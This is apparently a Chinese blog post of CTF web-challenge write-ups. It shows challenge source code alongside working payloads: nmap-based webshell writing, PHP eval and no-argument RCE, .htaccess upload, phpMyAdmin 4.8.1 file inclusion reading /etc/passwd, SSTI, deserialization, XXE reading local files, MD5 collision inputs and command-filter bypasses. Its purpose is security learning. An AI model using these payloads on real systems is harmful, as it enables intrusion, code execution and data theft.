[强网杯 2019]高明的黑客 下载源码,解压一下,那么多php文件,怎么看的过来,感觉应该要用脚本处理了。
写脚本能力还不行,这里应该是设计了一句话木马,看一下wp。
这里就参考大佬的脚本 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import osimport requestsimport reimport threadingimport timeprint ('开始时间: ' + time.asctime( time.localtime(time.time()) )) s1=threading.Semaphore(100 ) filePath = r"D:/phpstudy_pro/WWW/test1/" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content (file ): s1.acquire() print ('trying ' +file+ ' ' + time.asctime( time.localtime(time.time()) )) with open (file,encoding='utf-8' ) as f: gets = list (re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list (re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/test1/' +file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print ('找到了利用文件: ' +file+" and 找到了利用的参数:%s" %param) print ('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file(__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg($host ); $host = escapeshellcmd($host ); $sandbox = md5("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir($sandbox ); chdir($sandbox ); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
代码审计一下,有两个新鲜函数escapeshellarg(),escapeshellcmd()。
关于这两个函数绕过可以看看:
https://paper.seebug.org/164/
https://www.baidu.com/link?url=hmHQm0WU4_sK19NtydFvnEzmDDW5WzkovBOKKimBjt2L0REY6lyxRsoczpN1x-kzhT0sH2xZy-r11RPlMZVZMX6WdBwaXcOFPJfPjE27_pNkutAqNaCo1xWISD_oF9Xr&wd=&eqid=ea0fc88a0002d3fc00000006606dc09d
https://blog.csdn.net/weixin_44348894/article/details/105520481
两个函数共同使用会导致字符串逃逸。
代码最后一行有个system,我们可以构造payload传到这个命令中,这里还要知道nmap命令中,参数-oG可以实现将命令和结果写到文件。
构造payload:
?host=' <?php @eval($_POST[1]);?> -oG 1.php '
这两边留空格,如果不留空格,执行后的语句会变成:
\<?php eval($_POST["v"]);?> -oG shell.php\\
还可以写payload:
1 ?host=' <?php echo `cat /flag`;?> -oG 1.php '
反引号执行命令。
绕过主要还是看这两个函数的特性,最后还有一个nmap写入命令的语法。
本题关键:两个函数有顺序配合造成漏洞,nmap命令写入,反引号可以执行命令。
[RoarCTF 2019]Easy Java f12查看源码,访问+文件名,下载了一个word文档,内容:Are you sure the flag is here? ? ?
继续看一下网页,点击help,url有个filename参数,应该可以构造什么注入。
可以用来下载文件。
这里尝试一下下载flag.docx,没有这个文件。但是泄露了版本,这里应该跟访问文件目录有关系。
对于java的了解比较少,看一下wp。
了解一下源码泄露的利用办法:
参考:https://blog.csdn.net/wy_97/article/details/78165051
了解到WEB-INF是java的web应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
flag文件应该在classes目录。
开始测试,我的hackbar比较low,不能直接该post型,使用burp。
这里的意思不是让我们提交的数据以post方式提交。
先访问/WEB-INF/web.xml来找到flag位置。
然后反编译(其实就是把.换成/),得到payload:
得到base64编码,解码得到flag。
本题关键:主要是对java的web应用的安全目录一个了解,后续还有很多不同语言的框架需要学习。
[GXYCTF2019]BabyUpload 知道是.htaccess文件上传,先上传一个内容:
1 SetHandler application/x-httpd-php
该语句作用是让Apache 将其他类型文件均以php格式解析。
这里上传jpg后缀的文件会导致上传失败,只能使用gif或png后缀上传,但是文件类型又需要的是image/jpeg。
本题关键:.htaccess文件上传
[GXYCTF2019]禁止套娃 git源码泄露,使用工具,githack,之前用的那个一直报错,换了一个。
下载地址
https://github.com/lijiejie/GitHack
输入GitHack.py http://0512f6df-b60e-4405-b403-7db5f19a622e.node3.buuoj.cn/.git/
得到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
代码审计一下,过滤了伪协议,我最爱的php://filter也被过滤了。
本题难点就在绕过第三个条件。
又是知识盲区,看一下wp。
什么是无参数函数RCE :
RCE:远程命令执行ping和远程代码执行evel。
源码中有@eval($_GET['exp']);
,可以注入一句话木马,但是有正则替换限制,
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
如果使用参数就无法通过正则验证,
1 2 3 4 只允许执行如下命令: system() 不允许: system('ls')
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE
https://www.cnblogs.com/wangtanzhi/p/12260986.html
首先要得到当前目录下的文件,**scandir()**可以实现,
这里我们要好好找一下php相关无参数函数,
print_r() 函数用于打印变量,以更容易理解的形式展示。如果给出的是数组 ,将会按照一定格式显示键和元素。object 与数组类似。
localeconv() 函数 函数返回一包含本地数字及货币格式信息的数组 。
构造出payload:
?exp=print_r(scandir(current(localeconv())));
或者
?exp=print_r(scandir(pos(localeconv())));
pos是current别名。
还有 :current(localeconv())永远都是个点
怎么读取倒二个数组?查看一下current()函数语法:
不能直接得到倒数第二个,别想着连用两次这个函数,连用两次,第一次返回的结果是值,不是数组,会报错。
方法一:相反顺序返回数组。
函数array_reverse()
构造payload:
?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));
可算返回flag.php了。
然后通过函数readfile()读取或者hightlight_file()函数或者show_source()。
得到flag,f12查看。
方法二:随机交换数组的键和值,直到返回flag.php。
函数array_flip()交换数组的键和值,通过array_rand() 函数返回数组中的一个随机键名。
1 array_rand(array,number)
构造payload:
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
这两个函数缺一不可。如果没有交换键和值,只能得到键名,无法读取值的内容。
方法三:通过**session_id(session_start())**得到flag信息。
PHPSESSID本身就支持flag.php字符。
session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php。
cookie值记得只能是flag.php,要把多余的红字部分删除。
[GWCTF 2019]我有一个数据库 什么都没发现,肯定有什么备份文件或者是别的目录,试了一下robots.txt,得到一个文件,phpinfo.php,访问一下得到该php相关信息,好像用处不大,也用不了一句话木马,目录还有一个phpmyadmin,这个跟题目相关了,访问一下。
看了一下phpmyadmin版本4.8.1,百度一下存在远程文件读取漏洞,
可以参考一下:https://www.cnblogs.com/leixiao-/p/10265150.html
构造payload:
index.php?target=db_sql.php%253f/../../../../../etc/passwd
index.php?target=db_sql.php%253f/../../../../../flag
读取flag。
这里%253f什么意思呢,其实就是传入的参数会被url解密两次,最后得到拼接符?
[BJDCTF2020]The mystery of ip 抓包伪造一下xff字段,回显改成我们伪造的ip值,看一下别的页面,hint.php有你知道为什么我知道你的ip吗?
这里的xff字段应该存在什么漏洞。原来存在ssti注入。
构造payload:
{{system('cat /flag')}}
这题突破口在于发现存在ssti注入。要根据题目来找注入点。
[BJDCTF2020]Mark loves cat 原理:$$导致的变量覆盖漏洞。
扫描目录,由于访问太频繁会被限制,要多加些参数。
python dirsearch.py -u http://d5007599-5248-4224-ac1d-c82113740615.node3.buuoj.cn/ --timeout=2 -t 1 -s 0.01
-t 表示线程,-s表示每次请求间隔的时间,–timeout表示连接超时时间。
关于dirsearch相关用法可以看看:https://blog.csdn.net/qq_43936524/article/details/115271837
扫了过后,我们可以发现.git源码泄露,使用githack得到源码。
很奇怪没找到源码,先网上找找源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
函数foreach
1 2 3 4 foreach (iterable_expression as $value) statement foreach (iterable_expression as $key => $value) statement
第一种格式遍历给定的 iterable_expression
迭代器。每次循环中,当前单元的值被赋给 $value
第二种格式做同样的事,多了一步,当前单元的键名也会在每次循环中被赋给变量 $key
函数exit
exit() 函数输出一条消息,并退出当前脚本。
存在三个条件,三个输出,最后还有一个输出$flag,但是要同时绕过三个条件,存在逻辑错误。
同时注意到exit也可以作为输出,第一个条件明显不可能,看看第二条,我们要利用变量覆盖漏洞,需要用get提交,
在代码:
1 2 3 foreach ($_GET as $x => $y ){ $$x = $$y ; }
当我们传入通过get传入yds=flag,$y就变成了flag,$x=yds,最后就变成了$yds=$flag。通过exit输出flag值。
构造payload:?yds=flag
第三个也可以输出结果,构造payload:
?is=flag&flag=flag
第一get传参的结果和上面的一样是$is=$flag,为了满足第三个条件句的输出,加上后面这个get传参,经过foreach循环的结果是$flag=$flag,成功输出flag。
[BJDCTF2020]ZJCTF,不过如此 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0 ); $text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents($text ,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file(__FILE__ ); } ?>
通过data协议读入base64加密的I have a dream,然后再用php://filter读取next.php文件内容。payload:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
通过base64解码,得到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
preg_replace(p,r,s)函数,p:要搜索的模式,r用于替换的字符串或字符数组,s目标字符串或目标数组当p传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。 这里第二个参数固定为strtolower("\\1")
这里的\\1
实际上体现为\1
,转义。
有关preg_replace与代码执行可以看看:
https://xz.aliyun.com/t/2557
\1指的是第一个匹配项,官方相关payload:
/?.*={${phpinfo()}}
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。
构造payload:
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
由于传入.会被替换成_. 所以使用\S 表示匹配所有非空字符。
这样就可以通过preg_replace漏洞执行getFlag()函数,然后传入cmd相关命令,得到flag。
本题关键:正则替换代码执行。
[安洵杯 2019]easy_web 发现url挺有特点,思路通过img传参来得到源码。
这里有一个逆向解码的过程,
先对img后面的参数两次base64解码,得到3535352e706e67,发现是十六进制数,我们再通过函数hex2bin()把它转换成ASCII 字符,得到555.png。
这里我们先把index.php转化成十六进制,再进行两次base64编码。
通过函数bin2hex()实现:
再进行两次base64加密,得到:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,成功读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
这里对传入cmd的值进行了很多关键词过滤,
php变量前面加的(string) 是强制转换标志,他的意思是不管后面的变量是什么类型, 都以string 字符串类型解析 ;导致这里不能像以前一样通过数组绕过了。
学习一下新的md5 相关的绕过方法:
有关md5的一些绕过可以看看:
https://blog.csdn.net/CSDNiamcoming/article/details/108837347
强类型绕过:
1 2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
post传参,如果使用hackbar传参会被编码,所以直接使用burp,但是记得通过hackbar进行post提交再抓包,不然直接get提交再抓包修改GET为POST为缺少一些相关字段信息,不能成功post提交我们要提交的参数。
当前目录没flag,我们到根目录找flag。
cat被过滤了,但是构造ca\t,\t会变成TAB而绕过,然后获得bin下的flag,payload:
/bin/c\at%20/flag
或者可以构造c\at,l\s这样的带个转义字符的命令在Linux上也可以执行。
/bin/c\at%20flag
[网鼎杯 2020 朱雀组]phpweb 页面时不时跳动一下,应该是有post提交什么参数,抓包看一下,尝试了一下,发现左边可以提交相关函数,右边则是函数内容。
试了一下函数readfile,成功了,拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func($func , $p ); $a = gettype($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower($func ); if (!in_array($func ,$disable_fun )) { echo gettime($func , $p ); }else { die ("Hacker..." ); } } ?>
存在php序列化,我们可以配合反序列进行绕过黑名单。
后端接收这两个参数后,调用call_user_func将上面的字符串进行反序列化,还原成上面的代码,执行我们的命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Test { var $p = "ls" ; var $func = "system" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime($this ->func, $this ->p); } } } $a =new Test();echo serialize($a );
得到序列化:
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
执行成功。
没找到flag,但是不知道怎么找别的目录了。可以通过find / -name flag*来找到flag位置。
加个*可以匹配到flag开头任何后缀的文件名。
构造exp:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
试一下,没跑出来结果,结果每次输入,都没有回显,服务器都跳503了,可能是权限不够。
或者在/tmp目录下找文件,因为它的权限是一般普通用户都可。
然后cat到flag。
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
[De1CTF 2019]SSRF Me 有Hint,flag is in ./flag.txt。
直接提示是SSRF漏洞。了解一下
SSRF(服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=80 )
先整理一下源码,再分析,手工操作了半天,而且容易错,原来网上有python在线美化工具,处理后,自己再稍作调整即可。
有关Flask框架,关注点再函数getsign,又是有关md5的,不大懂,看看wp。这题很多知识点需要学习。
源码分析:
是python的Flask框架,声明了一个Task类,然后是__init__方法对实例属性初始化,到exec方法,先通过checksign方法检测登陆,当我们传入的参数action和param经过getSign这个函数之后与sign相等,就返回true,返回true之后则进入if语句里面,这里可以看到,如果scan在action里面,则我们可以让param进入scan这个函数。需要注意的是,此处传入到scan里面的param没有被过滤,可以看到判断读和写是两个if关系,也就是说如果action中既有scan,又有read,那么就会依次执行scan和read,对于param参数的过滤,仅仅在于最开始的waf函数,不允许使用file协议和gopher协议读取服务器本地文件,但是我们可以通过让param为flag.txt,我们就能读取它的内容,
方法一:md5字符串拼接。
由于要读取文件flag.txt,我们要构造参数,flag.txtread,这样就可以获得md5(secert_key+flag.txtreadscan)的md5值:
再访问De1ta,设置action和sign,和传入参数param的值,即可获得flag。
这里得到了flag.txtread加密后的md5值,最后修改相应参数得到flag。
方法二:
MD5长度拓展攻击
原理看看:https://joychou.org/web/hash-length-extension-attack.html
使用工具:
https://github.com/bwall/HashPump
相关操作看看:https://blog.csdn.net/qq_42967398/article/details/103549258?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control
方法三:
local_file
https://xz.aliyun.com/t/5927
[NCTF2019]Fake XML cookbook 刚开始试了一下想试一下xss漏洞,就爆出一大串错误,应该跟xss存在联系。
看见题目关键词XML,和HTML有相同点,关于它们的区别联系可以看看:https://www.cnblogs.com/hanfanfan/p/9734048.html
这题应该就是存在有关xml漏洞了。百度了一下,XML存在XXE攻击。
有关XXE攻击可以看看https://www.freebuf.com/vuls/175451.html
我们通过客户端向服务器发送XML数据可控,可以引入一个恶意的外部实体,
接下来构造我们自己的恶意实体,读取flag文件。
1 2 3 4 5 <?xml version="1.0"?> <!DOCTYPE note [ <!ENTITY hhh SYSTEM "file:///flag" > ]> <user > <username > &hhh; </username > <password > 123456</password > </user >
[ASIS 2019]Unicorn shop 独角兽商店,购买独角兽需要提交两个参数,先尝试一下两个参数。
在只输入左边的时候报错返回,price参数被python的函数unicodedata.numeric,测试出来这里的价格只需要输入一个整数型数字,不需要输入浮点型,经过函数处理会变成浮点型,这个不是重点,
试了一下前三个商品都是错误,只剩第四个了,但是第四个的数字超过限制了,这个需要到网站找了经函数处理值大于1337的字符。
https://www.compart.com/en/unicode/
搜索thousand,然后找一下大于1337的,找了一个酷似音乐符号的፼,这里记得不要使用burp提交,不然显示不出来。
[BJDCTF2020]Cookie is so stable 测试了许久,cookie的user处理存在ssti注入。
这里构造的user是根据前面修改cookie的时候回显中存在Set-Cookie值,setcookie() 函数是向客户端发送一个 HTTP cookie。
想直接用之前的学的的方法得到flag,行不通,存在检查。
看了wp学习了新的ssti注入姿势,可以参考这篇文章看看:
https://zhuanlan.zhihu.com/p/28823933
直接利用payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[CISCN 2019 初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); if (!isset ($_GET ['c' ])){ show_source(__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
动态函数
php可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数。
php中函数名默认为字符串
例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择,有利于化简。
这样我们就可以使用字符串拼接来构造payload:
?c=$_GET[A]($_GET[B])&A=system&b=cat flag
需要通过编码绕过,先了解一下这几个函数,
base_convert()函数:在任意进制转化数字。
1 base_convert(number,frombase,tobase)
number:原始值,frombase:数字原来的进制,需要转化成的进制。
dechex()函数:把十进制转化为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
直接先上payload:
?c=$_GET[a]($_GET[b])&a=system&b=cat flag
转化后
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
首先中括号可以使用花括号代替,然后我们需要先生成hex2bin函数,通过base_convert()生成,这里选择36进制,因为base36有数字和字母刚好满足,把前面的十进制数字转化成36进制,得到hex2bin函数。再通过函数dechex把数字转化成_GET。
这里还有很多方法可以看看:
https://www.jianshu.com/p/c187b336a49e
https://www.cnblogs.com/wangtanzhi/p/12246731.html
[BSidesCF 2020]Had a bad day 分别点击两个选项,观察url有个参数变化,这个参数是我们可控的,输入一下index.php
报错了,这里传入的参数应该可以读取文件,试一下php://filter,成功读取。
?category=php://filter/read=convert.base64-encode/resource=index
这里不用加后缀php前面测试报错有提示,
1 2 3 4 5 6 7 8 9 10 11 12 <?php $file = $_GET ['category' ]; if (isset ($file )) { if ( strpos( $file , "woofers" ) !== false || strpos( $file , "meowers" ) !== false || strpos( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?>
这里只允许传入woofers、meowers、index,我们需要想办法读取flag。我们这里利用php://filter伪协议可以套一层协议读取flag。
构造payload:
?category=php://filter/read=convert.base64-encode/index/resource=flag
[安洵杯 2019]easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr ).'/i' ; return preg_replace($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract($_POST ); if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION ['img' ] = sha1(base64_encode($_GET ['img_path' ])); } $serialize_info = filter(serialize($_SESSION ));if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info ); echo file_get_contents(base64_decode($userinfo ['img' ])); }
首先看看函数extract,
extract函数:将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传_seesion=123
,那它经过这个函数就变成了$_session=123
,多了一个$符,而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。
还有一个过滤的函数,正则匹配把传入的参数中含有的关键词替换为空。
$_SESSION
变量经过filter函数处理过,想通过控制img_path行不通,有一个函数shal(),这里可控的参数为$_SESSION[user]和$_SESSION[function]
